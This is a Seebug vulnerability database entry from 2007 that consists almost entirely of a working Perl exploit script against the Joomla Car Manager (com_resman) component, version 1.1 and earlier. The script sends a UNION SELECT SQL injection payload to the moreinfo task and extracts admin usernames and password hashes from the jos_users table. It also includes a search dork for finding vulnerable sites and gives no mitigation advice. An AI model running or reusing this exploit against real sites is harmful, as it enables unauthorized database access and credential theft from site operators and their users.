Joomla Component Car Manager <= 1.1 Remote SQL Injection Exploit

2007-03-26T00:00:00
ID SSV:6474
Type seebug
Reporter Root
Modified 2007-03-26T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #!/usr/bin/perl
#[Script Name: Joomla Component Car Manager <= 1.1 Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : \"index.php?option=com_resman\"
#[Contact    : :(
#[S.Page     : http://www.webformatique.net
#[$$         : .39.99
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print \"
[========================================================================
[//   Joomla Component Car Manager <= 1.1 Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
\";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http://)//eg;
$host = \"http://\".$server;
$port = \"80\";
$file = \"/index.php?option=com_resman&task=moreinfo&id=\";

print \"Script <DIR> : \";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print \"-- Exploit Failed[You Are Exited] 
\";
exit();
}

if ($dir =~ ///){}
else {
print \"-- Exploit Failed[No DIR] 
\";
exit();
 }


$target = \"-1%20union%20select%20111,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),333%20from%20jos_users/*\";
$target = $host.$dir.$file.$target;

#Writing data to socket
print \"+**********************************************************************+
\";
print \"+ Trying to connect: $server
\";
$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"
+ Connection failed...
\";
print $socket \"GET $target HTTP/1.1
\";
print $socket \"Host: $server
\";
print $socket \"Accept: */*
\";
print $socket \"Connection: close

\";
print \"+ Connected!...
\";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print \"+ Exploit succeed! Getting admin information.
\";
print \"+ ---------------- +
\";
print \"+ Username: $1
\";
}

if ($answer =~ /password:(.*?)border/){
print \"+ Password: $1
\";
}

if ($answer =~ /Syntax error/) { 
print \"+ Exploit Failed : ( 
\";
print \"+**********************************************************************+
\";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print \"+ Exploit Failed : (  
\";
print \"+**********************************************************************+
\";
exit(); 
}
 }